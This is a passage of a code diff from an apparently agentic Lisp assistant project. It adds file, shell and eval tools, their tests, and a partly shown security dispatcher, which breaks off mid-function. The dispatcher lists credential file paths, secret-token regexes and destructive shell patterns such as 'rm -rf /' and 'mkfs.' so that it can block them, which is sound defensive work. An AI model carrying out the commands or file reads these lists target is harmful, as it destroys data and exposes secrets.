+        (error (getf result :reason)))))
+
+(defun standards-lisp-format (code)
+  "Ensures Lisp code adheres to formatting standards."
+  (lisp-format code))
+
+(defskill :passepartout-programming-standards
+  :priority 100
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))

lisp/programming-tools.lisp

@@ -0,0 +1,617 @@
+(in-package :passepartout)
+
+(defun tools-write-file (filepath content)
+  "Write string CONTENT to FILEPATH, creating parent directories."
+  (uiop:ensure-all-directories-exist (list filepath))
+  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
+    (write-string content stream)))
+
+(def-cognitive-tool search-files
+  "Search file contents under a directory for a regex pattern."
+  ((:name "pattern" :description "The regex pattern to search for." :type "string")
+   (:name "path" :description "Directory to search recursively." :type "string")
+   (:name "include" :description "Optional glob filter for filenames (e.g. \"*.lisp\")." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((pattern (getf args :pattern))
+                   (path (getf args :path))
+                   (include (getf args :include))
+                   (results nil))
+              (unless (and pattern path)
+                (return (list :status :error :message "search-files requires :pattern and :path")))
+              (handler-case
+                  (dolist (file (directory (merge-pathnames
+                                            (if include
+                                                (make-pathname :name :wild :type (subseq include 2) :defaults path)
+                                                (make-pathname :name :wild :type :wild :defaults path))
+                                            path)))
+                    (let ((base (file-namestring file)))
+                      (with-open-file (stream file :direction :input :if-does-not-exist nil)
+                        (when stream
+                          (loop for line = (read-line stream nil nil)
+                                for line-num from 1
+                                while line
+                                when (cl-ppcre:scan pattern line)
+                                do (push (format nil "~a:~d: ~a" base line-num (string-trim '(#\Space #\Tab) line))
+                                         results))))))
+                (t (c) (return (list :status :error :message (format nil "~a" c)))))
+              (list :status :success
+                    :content (if results
+                                 (format nil "~d matches:~%~a" (length results)
+                                         (format nil "~{~a~^~%~}" (reverse results)))
+                                 (format nil "No matches for '~a' in ~a" pattern path)))))))
+
+(def-cognitive-tool find-files
+  "Find files matching a glob pattern under a directory."
+  ((:name "pattern" :description "Glob pattern (e.g. \"*.lisp\", \"core-*\")." :type "string")
+   (:name "path" :description "Directory to search in." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((pattern (getf args :pattern))
+                   (path (getf args :path)))
+              (unless (and pattern path)
+                (return (list :status :error :message "find-files requires :pattern and :path")))
+              (let ((full (merge-pathnames pattern path)))
+              (handler-case
+                  (let ((files (directory full)))
+                    (list :status :success
+                          :content (if files
+                                       (format nil "~d files:~%~{~a~^~%~}" (length files) files)
+                                       (format nil "No files matching '~a' in ~a" pattern path))))
+                (t (c) (list :status :error :message (format nil "~a" c)))))))))
+
+(def-cognitive-tool read-file
+  "Read the contents of a file."
+  ((:name "filepath" :description "Path to the file to read." :type "string")
+   (:name "start" :description "Optional: line number to start reading from (1-based)." :type "integer")
+   (:name "limit" :description "Optional: maximum number of lines to read." :type "integer"))
+  :guard (lambda (args) (declare (ignore args)) nil)
+  :body (lambda (args)
+          (block nil
+            (let* ((filepath (getf args :filepath))
+                   (start (getf args :start))
+                   (limit (getf args :limit)))
+              (unless filepath
+                (return (list :status :error :message "read-file requires :filepath")))
+              (handler-case
+                  (let ((content (uiop:read-file-string filepath)))
+                    (if (or start limit)
+                        (let* ((lines (uiop:split-string content :separator '(#\Newline)))
+                               (start-idx (max 0 (1- (or start 1))))
+                               (end (if limit (min (length lines) (+ start-idx limit)) (length lines)))
+                               (selected (subseq lines start-idx end)))
+                          (list :status :success
+                                :content (format nil "~{~a~^~%~}" selected)))
+                        (list :status :success :content content)))
+                (error (c) (list :status :error :message (format nil "~a" c))))))))
+
+(def-cognitive-tool write-file
+  "Write string content to a file. Created directories as needed."
+  ((:name "filepath" :description "Path to the file to write." :type "string")
+   (:name "content" :description "The text content to write." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((filepath (getf args :filepath))
+                   (content (getf args :content)))
+              (unless (and filepath content)
+                (return (list :status :error :message "write-file requires :filepath and :content")))
+              (handler-case
+                  (progn
+                    (tools-write-file filepath content)
+                    (list :status :success
+                          :content (format nil "Written ~d bytes to ~a" (length content) filepath)))
+                (error (c) (list :status :error :message (format nil "~a" c))))))))
+
+(def-cognitive-tool list-directory
+  "List the contents of a directory."
+  ((:name "path" :description "Directory path to list." :type "string")
+   (:name "pattern" :description "Optional glob filter (e.g. \"*.org\")." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((path (getf args :path))
+                   (pattern (getf args :pattern)))
+              (unless path
+                (return (list :status :error :message "list-directory requires :path")))
+              (let ((full-pattern (if pattern
+                                    (merge-pathnames pattern path)
+                                    (make-pathname :name :wild :type :wild :defaults path))))
+              (handler-case
+                  (let ((entries (directory full-pattern)))
+                    (list :status :success
+                          :content (if entries
+                                       (format nil "~d entries in ~a:~%~{~a~^~%~}" (length entries) path entries)
+                                       (format nil "No entries in ~a" path))))
+                (t (c) (list :status :error :message (format nil "~a" c)))))))))
+
+(def-cognitive-tool run-shell
+  "Execute a shell command and return stdout, stderr, and exit code."
+  ((:name "cmd" :description "The shell command to execute." :type "string")
+   (:name "timeout" :description "Optional timeout in seconds (default 30)." :type "integer"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((cmd (getf args :cmd))
+                   (timeout (or (getf args :timeout) 30)))
+              (unless cmd
+                (return (list :status :error :message "run-shell requires :cmd")))
+              (handler-case
+                  (multiple-value-bind (out err code)
+                      (uiop:run-program (list "timeout" (format nil "~a" timeout) "bash" "-c" cmd)
+                                        :output :string :error-output :string
+                                        :ignore-error-status t)
+                    (list :status :success
+                          :content (format nil "~a~@[~%~%stderr:~%~a~]~%exit: ~d"
+                                           (or out "") (when (and err (> (length err) 0)) err) code)))
+                (error (c) (list :status :error :message (format nil "~a" c))))))))
+
+(def-cognitive-tool eval-form
+  "Evaluate a Lisp expression in the running image and return the result."
+  ((:name "code" :description "The Lisp expression to evaluate as a string." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((code (getf args :code)))
+              (unless code
+                (return (list :status :error :message "eval-form requires :code")))
+              (handler-case
+                  (let* ((*read-eval* nil)
+                         (form (read-from-string code))
+                         (result (eval form)))
+                    (list :status :success :content (format nil "~a" result)))
+                (error (c) (list :status :error :message (format nil "~a" c))))))))
+
+(def-cognitive-tool run-tests
+  "Run FiveAM tests. With no arguments, runs all test suites."
+  ((:name "test-name" :description "Optional: specific test name to run. If nil, runs all tests." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((test-name (getf args :test-name)))
+              (handler-case
+                  (if test-name
+                      (let* ((sym (find-symbol (string-upcase test-name) :passepartout))
+                             (result (when sym (fiveam:run (intern (string-upcase test-name) :passepartout)))))
+                        (list :status :success
+                              :content (format nil "Test '~a' ~a" test-name
+                                               (if result "completed" "not found"))))
+                      (let ((result (fiveam:run-all-tests)))
+                        (list :status :success :content (format nil "~a" result))))
+                (error (c) (list :status :error :message (format nil "~a" c))))))))
+
+(def-cognitive-tool org-find-headline
+  "Find an Org headline by ID or title in the memory store."
+  ((:name "id" :description "Optional: Org ID property to search for." :type "string")
+   (:name "title" :description "Optional: headline title to search for (case-insensitive substring)." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((id (getf args :id))
+                   (title (getf args :title))
+                   (results nil))
+              (unless (or id title)
+                (return (list :status :error :message "org-find-headline requires :id or :title")))
+              (handler-case
+                  (let ((is-mem (find-symbol "MEMORY-OBJECT-P" :passepartout))
+                        (get-id (find-symbol "MEMORY-OBJECT-ID" :passepartout))
+                        (get-title (find-symbol "MEMORY-OBJECT-TITLE" :passepartout)))
+                    (unless (and is-mem get-id get-title)
+                      (return (list :status :error :message "Memory store not loaded")))
+                    (maphash (lambda (k obj)
+                               (declare (ignore k))
+                               (when (and (funcall is-mem obj)
+                                          (or (and id (string-equal id (funcall get-id obj)))
+                                              (and title (search title (funcall get-title obj) :test #'char-equal))))
+                                 (push obj results)))
+                             *memory-store*)
+                    (list :status :success
+                          :content (if results
+                                       (format nil "~d headlines found:~%~{~a~^~%~}"
+                                               (length results)
+                                               (mapcar (lambda (r) (funcall get-title r)) results))
+                                       (format nil "No headlines matching ~a" (or id title)))))
+                (error (c) (list :status :error :message (format nil "~a" c))))))))
+
+(def-cognitive-tool org-modify-file
+  "Replace text in an Org file via exact string match. Returns error if old-text not found."
+  ((:name "filepath" :description "Path to the Org file." :type "string")
+   (:name "old-text" :description "Exact text to replace." :type "string")
+   (:name "new-text" :description "Text to insert in its place." :type "string"))
+  :guard nil
+  :body (lambda (args)
+          (block nil
+            (let* ((filepath (getf args :filepath))
+                   (old-text (getf args :old-text))
+                   (new-text (getf args :new-text)))
+              (unless (and filepath old-text new-text)
+                (return (list :status :error :message "org-modify-file requires :filepath, :old-text, and :new-text")))
+              (handler-case
+                  (let ((content (uiop:read-file-string filepath)))
+                    (let ((pos (search old-text content)))
+                      (if pos
+                          (let ((new-content (concatenate 'string
+                                                          (subseq content 0 pos)
+                                                          new-text
+                                                          (subseq content (+ pos (length old-text))))))
+                            (tools-write-file filepath new-content)
+                            (list :status :success
+                                  :content (format nil "Replaced at position ~d in ~a" pos filepath)))
+                          (list :status :error :message (format nil "Text not found in ~a" filepath)))))
+                (error (c) (list :status :error :message (format nil "~a" c))))))))
+
+(defskill :passepartout-programming-tools
+  :priority 50
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil)
+  :deterministic (lambda (action ctx) (declare (ignore action ctx)) nil))
+
+(defpackage :passepartout
+  (:use :cl)
+  (:export
+   #:frame-message
+   #:read-framed-message
+    #:PROTO-GET
+    #:proto-get
+   #:*VAULT-MEMORY*
+   #:make-hello-message
+   #:validate-communication-protocol-schema
+   #:start-daemon
+   #:log-message
+   #:main
+    #:diagnostics-run-all
+    #:diagnostics-main
+    #:diagnostics-dependencies-check
+    #:diagnostics-env-check
+    #:register-provider
+    #:provider-openai-request
+    #:provider-config
+   #:run-setup-wizard
+   #:ingest-ast
+   #:memory-object-get
+   #:*memory-store*
+   #:memory-object
+   #:make-memory-object
+   #:memory-object-id
+   #:memory-object-type
+   #:memory-object-attributes
+   #:memory-object-parent-id
+   #:memory-object-children
+   #:memory-object-version
+   #:memory-object-last-sync
+   #:memory-object-vector
+   #:memory-object-content
+   #:memory-object-hash
+   #:memory-object-scope
+   #:snapshot-memory
+   #:rollback-memory
+    #:context-get-system-logs
+    #:context-assemble-global-awareness
+    #:context-awareness-assemble
+    #:context-query
+   #:push-context
+   #:pop-context
+   #:current-context
+   #:current-scope
+   #:context-stack-depth
+   #:context-save
+   #:context-load
+   #:focus-project
+   #:focus-session
+   #:focus-memex
+   #:unfocus
+   #:process-signal
+   #:loop-process
+    #:perceive-gate
+    #:loop-gate-perceive
+    #:act-gate
+    #:loop-gate-act
+    #:reason-gate
+    #:loop-gate-reason
+    #:cognitive-verify
+    #:backend-cascade-call
+    #:json-alist-to-plist
+    #:inject-stimulus
+    #:stimulus-inject
+    #:hitl-create
+    #:hitl-approve
+    #:hitl-deny
+    #:hitl-handle-message
+    #:dispatcher-check-secret-path
+    #:dispatcher-check-shell-safety
+    #:dispatcher-check-privacy-tags
+    #:dispatcher-check-network-exfil
+    #:dispatcher-gate
+    #:wildcard-match
+    #:actuator-initialize
+   #:action-dispatch
+   #:register-actuator
+   #:load-skill-from-org
+    #:skill-initialize-all
+    #:lisp-syntax-validate
+    #:defskill
+       #:*skill-registry*
+       #:*scope-resolver*
+       #:*embedding-backend*
+       #:*embedding-queue*
+       #:*embedding-provider*
+       #:embed-queue-object
+       #:embed-object
+       #:embed-all-pending
+       #:embedding-backend-hashing
+       #:embedding-backend-native
+       #:embedding-native-load-model
+       #:embedding-native-unload
+       #:embedding-native-ensure-loaded
+       #:embedding-native-get-dim
+       #:embeddings-compute
+       #:mark-vector-stale
+     #:skill
+   #:skill-name
+   #:skill-priority
+   #:skill-dependencies
+   #:skill-trigger-fn
+   #:skill-probabilistic-prompt
+   #:skill-deterministic-fn
+   #:def-cognitive-tool
+   #:*cognitive-tool-registry*
+    #:org-read-file
+    #:org-write-file
+    #:org-headline-add
+    #:org-headline-find-by-id
+    #:literate-tangle-sync-check
+    #:archivist-create-note
+    #:gateway-start
+    #:org-property-set
+    #:org-todo-set
+    #:org-id-generate
+    #:org-id-format
+    #:org-modify
+    #:lisp-validate
+    #:lisp-structural-check
+    #:lisp-syntactic-check
+    #:lisp-semantic-check
+    #:lisp-eval
+    #:lisp-format
+    #:lisp-list-definitions
+    #:lisp-extract
+    #:lisp-inject
+    #:lisp-slurp
+   #:get-oc-config-dir
+    #:get-tool-permission
+    #:set-tool-permission
+    #:check-tool-permission-gate
+    #:permission-get
+    #:permission-set
+   #:cognitive-tool
+   #:cognitive-tool-name
+   #:cognitive-tool-description
+   #:cognitive-tool-parameters
+   #:cognitive-tool-guard
+   #:cognitive-tool-body
+   #:register-probabilistic-backend
+   #:*probabilistic-backends*
+   #:*provider-cascade*
+    #:vault-get
+    #:vault-set
+    #:vault-get-secret
+    #:vault-set-secret
+    #:memory-objects-by-attribute
+    #:channel-cli-input
+    #:repl-eval
+    #:repl-inspect
+    #:repl-list-vars
+    #:policy-compliance-check
+    #:validator-protocol-check
+    #:archivist-extract-headlines
+    #:archivist-headline-to-filename
+    #:literate-extract-lisp-blocks
+    #:literate-block-balance-check
+    #:gateway-registry-initialize
+    #:messaging-link
+    #:messaging-unlink
+    #:gateway-configured-p))
+
+(in-package :passepartout)
+
+(defun plist-get (plist key)
+  "Robust plist accessor — checks both :KEY and :key variants."
+  (let* ((s (string key))
+         (up (intern (string-upcase s) :keyword))
+         (dn (intern (string-downcase s) :keyword)))
+    (or (getf plist up) (getf plist dn))))
+
+(defvar *log-buffer* nil)
+(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
+(defvar *log-limit* 100)
+
+(defvar *skill-registry* (make-hash-table :test 'equal)
+  "Global registry of all loaded skills.")
+
+(defvar *telemetry-table* (make-hash-table :test 'equal))
+(defvar *telemetry-lock* (bordeaux-threads:make-lock "harness-telemetry-lock"))
+
+(defun telemetry-track (skill-name duration status)
+  "Updates performance metrics for a skill. STATUS is :success or :rejected."
+  (when skill-name
+    (bordeaux-threads:with-lock-held (*telemetry-lock*)
+      (let ((entry (or (gethash skill-name *telemetry-table*) (list :executions 0 :total-time 0 :failures 0))))
+        (incf (getf entry :executions))
+        (incf (getf entry :total-time) duration)
+        (when (eq status :rejected) (incf (getf entry :failures)))
+        (setf (gethash skill-name *telemetry-table*) entry)))))
+
+(defvar *cognitive-tool-registry* (make-hash-table :test 'equal))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-programming-tools-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:programming-tools-suite))
+
+(in-package :passepartout-programming-tools-tests)
+
+(def-suite programming-tools-suite :description "Verification of programming cognitive tools")
+(in-suite programming-tools-suite)
+
+(defun tools-tmpdir ()
+  (let ((d (merge-pathnames "tmp/passepartout-tool-tests/" (user-homedir-pathname))))
+    (uiop:ensure-all-directories-exist (list d))
+    d))
+
+(defun tools-cleanup ()
+  (let ((d (tools-tmpdir)))
+    (uiop:delete-directory-tree d :validate t :if-does-not-exist :ignore)))
+
+(defun tools-write-file (filepath content)
+  (uiop:ensure-all-directories-exist (list filepath))
+  (with-open-file (stream filepath :direction :output :if-exists :supersede :if-does-not-exist :create)
+    (write-string content stream)))
+
+(defun call-tool (tool-name &rest args)
+  (let ((tool (gethash (string-downcase (string tool-name)) *cognitive-tool-registry*)))
+    (unless tool (error "Tool ~a not found" tool-name))
+    (funcall (cognitive-tool-body tool) args)))
+
+;; search-files
+(test test-search-files-finds-matches
+  "Contract 1: search-files finds lines matching a regex pattern."
+  (let* ((dir (tools-tmpdir))
+         (file-a (merge-pathnames "src-a.lisp" dir))
+         (file-b (merge-pathnames "src-b.lisp" dir)))
+    (tools-write-file file-a "(defun foo () 'hello)")
+    (tools-write-file file-b "(defun bar () 'world)")
+    (let ((result (call-tool 'search-files :pattern "defun" :path (namestring dir) :include "*.lisp")))
+      (is (eq (getf result :status) :success))
+      (is (search "src-a.lisp:1:" (getf result :content)))
+      (is (search "src-b.lisp:1:" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-search-files-missing-params
+  "search-files returns error when required params are missing."
+  (let ((result (call-tool 'search-files :pattern "x")))
+    (is (eq (getf result :status) :error))))
+
+;; find-files
+(test test-find-files-by-extension
+  "Contract 5: find-files returns files matching a glob."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "a.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "b.lisp" dir) "test")
+    (tools-write-file (merge-pathnames "c.org" dir) "test")
+    (let ((result (call-tool 'find-files :pattern "*.lisp" :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "a.lisp" (getf result :content)))
+      (is (search "b.lisp" (getf result :content)))
+      (is (not (search "c.org" (getf result :content)))))
+    (tools-cleanup)))
+
+(test test-find-files-missing-params
+  "find-files returns error without required params."
+  (let ((result (call-tool 'find-files :pattern "*.lisp")))
+    (is (eq (getf result :status) :error))))
+
+;; read-file
+(test test-read-file-full
+  "Contract 6: read-file returns full file contents."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "readme.txt" dir)))
+    (tools-write-file file (format nil "line one~%line two~%line three"))
+    (let ((result (call-tool 'read-file :filepath (namestring file))))
+      (is (eq (getf result :status) :success))
+      (is (search "line one" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-read-file-missing-params
+  "read-file returns error without :filepath."
+  (let ((result (call-tool 'read-file)))
+    (is (eq (getf result :status) :error))))
+
+;; write-file
+(test test-write-file-creates
+  "Contract 7: write-file creates file with content."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "output.txt" dir)))
+    (let ((result (call-tool 'write-file :filepath (namestring file) :content "hello world")))
+      (is (eq (getf result :status) :success))
+      (is (search "11 bytes" (getf result :content))))
+    (is (string-equal "hello world" (uiop:read-file-string file)))
+    (tools-cleanup)))
+
+(test test-write-file-missing-params
+  "write-file returns error without required params."
+  (let ((result (call-tool 'write-file :content "x")))
+    (is (eq (getf result :status) :error))))
+
+;; list-directory
+(test test-list-directory-all
+  "Contract 8: list-directory returns all entries."
+  (let ((dir (tools-tmpdir)))
+    (tools-write-file (merge-pathnames "alpha.txt" dir) "x")
+    (tools-write-file (merge-pathnames "beta.txt" dir) "y")
+    (let ((result (call-tool 'list-directory :path (namestring dir))))
+      (is (eq (getf result :status) :success))
+      (is (search "alpha.txt" (getf result :content)))
+      (is (search "beta.txt" (getf result :content))))
+    (tools-cleanup)))
+
+(test test-list-directory-missing-params
+  "list-directory returns error without :path."
+  (let ((result (call-tool 'list-directory)))
+    (is (eq (getf result :status) :error))))
+
+;; run-shell
+(test test-run-shell-echo
+  "Contract 9: run-shell executes a command and returns output."
+  (let ((result (call-tool 'run-shell :cmd "echo hello")))
+    (is (eq (getf result :status) :success))
+    (is (search "hello" (getf result :content)))))
+
+(test test-run-shell-missing-params
+  "run-shell returns error without :cmd."
+  (let ((result (call-tool 'run-shell)))
+    (is (eq (getf result :status) :error))))
+
+;; eval-form
+(test test-eval-form-arithmetic
+  "Contract 10: eval-form evaluates a Lisp expression."
+  (let ((result (call-tool 'eval-form :code "(+ 1 2)")))
+    (is (eq (getf result :status) :success))
+    (is (search "3" (getf result :content)))))
+
+(test test-eval-form-missing-params
+  "eval-form returns error without :code."
+  (let ((result (call-tool 'eval-form)))
+    (is (eq (getf result :status) :error))))
+
+;; org-modify-file
+(test test-org-modify-file-replace
+  "Contract 13: org-modify-file replaces exact text in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "doc.org" dir)))
+    (tools-write-file file "* TODO Buy milk~%* DONE Walk dog~%")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "TODO" :new-text "WAITING")))
+      (is (eq (getf result :status) :success))
+      (is (search "WAITING" (uiop:read-file-string file))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-not-found
+  "org-modify-file returns error when text not in file."
+  (let* ((dir (tools-tmpdir))
+         (file (merge-pathnames "file.org" dir)))
+    (tools-write-file file "some content")
+    (let ((result (call-tool 'org-modify-file
+                             :filepath (namestring file)
+                             :old-text "not-in-file" :new-text "anything")))
+      (is (eq (getf result :status) :error))
+      (is (search "not found" (getf result :message))))
+    (tools-cleanup)))
+
+(test test-org-modify-file-missing-params
+  "org-modify-file returns error without required params."
+  (let ((result (call-tool 'org-modify-file :filepath "x" :old-text "y")))
+    (is (eq (getf result :status) :error))))

lisp/security-dispatcher.lisp

@@ -0,0 +1,526 @@
+(in-package :passepartout)
+
+(defvar *dispatcher-network-whitelist*
+  '("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
+  "Domains the Dispatcher considers safe for outbound connections.")
+
+(defvar *dispatcher-privacy-tags*
+  (let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
+    (if env
+        (uiop:split-string env :separator '(#\,))
+        '("@personal")))
+  "Tags marking content as private. Set via PRIVACY_FILTER_TAGS.")
+
+(defvar *dispatcher-protected-paths*
+  '(".env" ".env.example" ".env.local" ".env.production"
+    "*credentials*" "*cred*"
+    "*id_rsa*" "*id_dsa*" "*id_ecdsa*" "*id_ed25519*"
+    "*.pem" "*.key" "*.p12" "*.pfx" "*.asc" "*.gpg" "*.pgp"
+    "secring.*" "pubring.*" "private-keys-v1.d/*"
+    "token*" "*secret*" "*token*"
+    ".netrc" ".git-credentials" "auth.json"
+    ".aws/credentials" ".aws/config"
+    ".kube/config" "kubeconfig"
+    "*.cert" "*.crt" "*.csr"
+    "*password*" "*passwd*")
+  "Path patterns blocked from file reads.
+Core file protection (core-*.org, core-*.lisp) handled separately by
+dispatcher-check-core-path for self-build safety.")
+
+(defvar *dispatcher-exposure-patterns*
+  '((:pem-key "-----BEGIN +(RSA|DSA|EC|OPENSSH|PGP) +PRIVATE +KEY *-----")
+    (:pgp-key "-----BEGIN +PGP +PRIVATE +KEY +BLOCK-----")
+    (:pgp-public "-----BEGIN +PGP +PUBLIC +KEY +BLOCK-----")
+    (:openai-key "sk-[A-Za-z0-9-]{20,}")
+    (:google-key "AIza[0-9A-Za-z_-]{35}")
+    (:github-token "gh[pousr]_[A-Za-z0-9]{36,}")
+    (:slack-token "xox[baprs]-[A-Za-z0-9-]{24,}")
+    (:env-assignment "[A-Z_]+=[A-Za-z0-9+/=_\\-]{20,}")
+    (:generic-secret "(api|secret|password|token)[ ]*[:=][ ]*[\"']?[A-Za-z0-9_\\-]{16,}"))
+  "Named regex patterns for secret exposure detection.")
+
+(defvar *dispatcher-shell-timeout* 30
+  "Maximum seconds for a shell command before timeout.")
+
+(defvar *dispatcher-shell-max-output* 100000
+  "Maximum characters of shell output to capture.")
+
+(defvar *dispatcher-shell-blocked*
+  '((:destructive-rm    "\\brm\\s+-rf\\s+/"                                     :severity :catastrophic)
+    (:destructive-dd    "\\bdd\\s+if="                                           :severity :catastrophic)
+    (:destructive-mkfs  "\\bmkfs\\."                                            :severity :catastrophic)
+    (:disk-wipe         "\\bshred\\s+/dev/"                                     :severity :catastrophic)
+    (:disk-wipe-b       "\\bwipefs\\s+/dev/"                                    :severity :catastrophic)
+    (:injection-backtick "`[^`]+`"                                              :severity :dangerous)
+    (:injection-subshell "\\$\\([^)]+\\)"                                        :severity :dangerous))
+  "Destructive and injection patterns blocked in shell commands.
+Each entry is (name regex :severity tier) where tier is one of:
+:catastrophic, :dangerous, :moderate, :harmless.")
+
+(defun wildcard-match (pattern path)
+  "Matches PATH against PATTERN where * matches any characters."
+  (let ((regex (cl-ppcre:regex-replace-all
+                "\\*" (cl-ppcre:quote-meta-chars pattern) ".*")))
+    (cl-ppcre:scan regex path)))
+
+(defun dispatcher-check-core-path (filepath)
+  "Returns T if FILEPATH matches a core-* self-build protected pattern."
+  (when (and filepath (stringp filepath))
+    (or (and (>= (length filepath) 5) (string-equal (subseq filepath 0 5) "core-"))
+        (cl-ppcre:scan "core-.*\\.(org|lisp)" filepath))))
+
+(defun dispatcher-check-secret-path (filepath)
+  "Returns the matching pattern if FILEPATH matches a protected path, nil otherwise."
+  (when (and filepath (stringp filepath))
+    (some (lambda (pattern)
+            (when (wildcard-match pattern filepath)
+              pattern))
+          *dispatcher-protected-paths*)))
+
+(defun dispatcher-exposure-scan (text)
+  "Scans TEXT for patterns matching known secret formats.
+Returns a list of matched category keywords."
+  (when (and text (stringp text) (> (length text) 0))
+    (let ((matches nil))
+      (dolist (entry *dispatcher-exposure-patterns*)
+        (let ((name (first entry))
+              (regex (second entry)))
+          (when (cl-ppcre:scan regex text)
+            (push name matches))))
+      matches)))
+
+(defun dispatcher-vault-scan (text)
+  "Scans TEXT for known secrets from the vault."
+  (when (and text (stringp text))
+    (let ((found-secret nil))
+      (maphash (lambda (key val)
+                 (when (and val (stringp val) (> (length val) 5))
+                   (when (search val text)
+                     (setf found-secret key))))
+               *vault-memory*)
+      found-secret)))
+
+(defun dispatcher-check-privacy-tags (tags-list)
+  "Returns T if any tag in TAGS-LIST matches a privacy filter tag."
+  (when (and tags-list (listp tags-list))
+    (some (lambda (tag)
+            (some (lambda (private)
+                    (or (string-equal tag private)
+                        (search private tag :test #'string-equal)))
+                  *dispatcher-privacy-tags*))
+          tags-list)))
+
+(defun dispatcher-check-text-for-privacy (text)
+  "Scans TEXT for leaked privacy-tagged content."
+  (when (and text (stringp text))
+    (let ((lower (string-downcase text)))
+      (some (lambda (tag)
+              (search (string-downcase tag) lower))
+            *dispatcher-privacy-tags*))))
+
+(defun org-blocks-extract (content)
+  "Extracts concatenated Lisp code from #+begin_src lisp blocks in an Org string."
+  (when (and content (stringp content))
+    (let ((lines (uiop:split-string content :separator '(#\Newline)))
+          (in-block nil)
+          (code ""))
+      (dolist (line lines)
+        (let ((clean (string-trim '(#\Space #\Tab) line)))
+          (cond
+            ((search "#+begin_src lisp" clean)
+             (setf in-block t))
+            ((search "#+end_src" clean)
+             (setf in-block nil))
+            (in-block
+             (setf code (concatenate 'string code line (string #\Newline)))))))
+      (when (> (length code) 0) code))))
+
+(defun dispatcher-check-lisp-valid (filepath content)
+  "Validates Lisp syntax when writing .lisp files or Org files with lisp blocks.
+Returns the validation result plist or nil if not applicable."
+  (when (and content (stringp content) (> (length content) 0))
+    (let ((to-validate
+           (cond
+             ((uiop:string-suffix-p filepath ".lisp") content)
+             ((uiop:string-suffix-p filepath ".org") (org-blocks-extract content))
+             (t nil))))
+      (when to-validate
+        (multiple-value-bind (valid-p err) (ignore-errors
+                                            (let ((*read-eval* nil))
+                                              (with-input-from-string (s (format nil "(progn ~a)" to-validate))
+                                                (loop for form = (read s nil :eof) until (eq form :eof)))
+                                              (values t nil)))
+          (unless valid-p
+            (list :status :error :reason err)))))))
+
+(defun org-has-defuns-p (content)
+  "Returns T if the Org content contains any #+begin_src lisp blocks with defuns."
+  (when (and content (stringp content))
+    (search "defun " content :test #'char-equal)))
+
+(defun dispatcher-check-repl-verified (action filepath content)
+  "Warns if writing a defun to an Org file without :repl-verified metadata."
+  (let ((repl-verified (getf action :repl-verified)))
+    (when (and filepath
+               (uiop:string-suffix-p filepath ".org")
+               (org-has-defuns-p content)
+               (not repl-verified))
+      (list :type :LOG
+            :payload (list :level :warn
+                           :text (format nil "Lint: Writing defun to ~a without :repl-verified flag. Did you prototype this in the REPL first?" filepath))))))
+
+(defun dispatcher-check-shell-safety (cmd)
+  "Checks a shell command for destructive patterns and injection vectors.
+Returns (:matched <names> :severity <tier>) when dangerous patterns found,
+or nil if safe. Severity is the highest tier among matched patterns:
+:catastrophic > :dangerous > :moderate > :harmless."
+  (when (and cmd (stringp cmd) (> (length cmd) 0))
+    (let ((matches nil)
+          (severity :harmless))
+      (dolist (entry *dispatcher-shell-blocked*)
+        (let ((name (first entry))
+              (regex (second entry))
+              (tier (getf entry :severity)))
+          (when (cl-ppcre:scan regex cmd)
+            (push name matches)
+            (setf severity (dispatcher-severity-max severity (or tier :moderate))))))
+      (when matches
+        (list :matched matches :severity severity)))))
+
+(defvar *dispatcher-severity-order*
+  (list :harmless 0 :moderate 1 :dangerous 2 :catastrophic 3)
+  "Severity tier ordering for comparison. Higher = more severe.")
+
+(defun dispatcher-severity-max (a b)
+  "Returns the higher of two severity tiers."
+  (let ((ra (or (getf *dispatcher-severity-order* a) 0))
+        (rb (or (getf *dispatcher-severity-order* b) 0)))
+    (if (>= rb ra) b a)))
+
+(defun dispatcher-check-network-exfil (cmd)
+  "Detects if CMD attempts to contact an unwhitelisted external host."
+  (when (and cmd (stringp cmd))
+    (multiple-value-bind (match regs)
+        (cl-ppcre:scan-to-strings "(http|https|ftp)://([\\w\\.-]+)" cmd)
+      (declare (ignore match))
+      (when regs
+        (let ((domain (aref regs 1)))
+          (not (some (lambda (safe) (search safe domain))
+                    *dispatcher-network-whitelist*)))))))
+
+(defun dispatcher-check (action context)
+  "Security gate for high-risk actions.
+Eleven checks: 0=REPL-lint (warn-only), 1=lisp-validation, 2=secret-path,
+2b=self-build-core, 3=secret-content, 4=vault-secrets, 5=privacy-tags,
+6=privacy-text, 7=shell-safety, 8=network-exfil, 8b=high-impact-approval."
+  (declare (ignore context))
+  (let* ((target (proto-get action :target))
+         (payload (proto-get action :payload))
+         (text (or (proto-get payload :text) (proto-get action :text)))
+         (filepath (or (proto-get payload :filepath)
+                       (when (equal (proto-get payload :tool) "read-file")
+                         (proto-get (proto-get payload :args) :filepath))
+                       (when (equal (proto-get payload :tool) "write-file")
+                         (proto-get (proto-get payload :args) :filepath))))
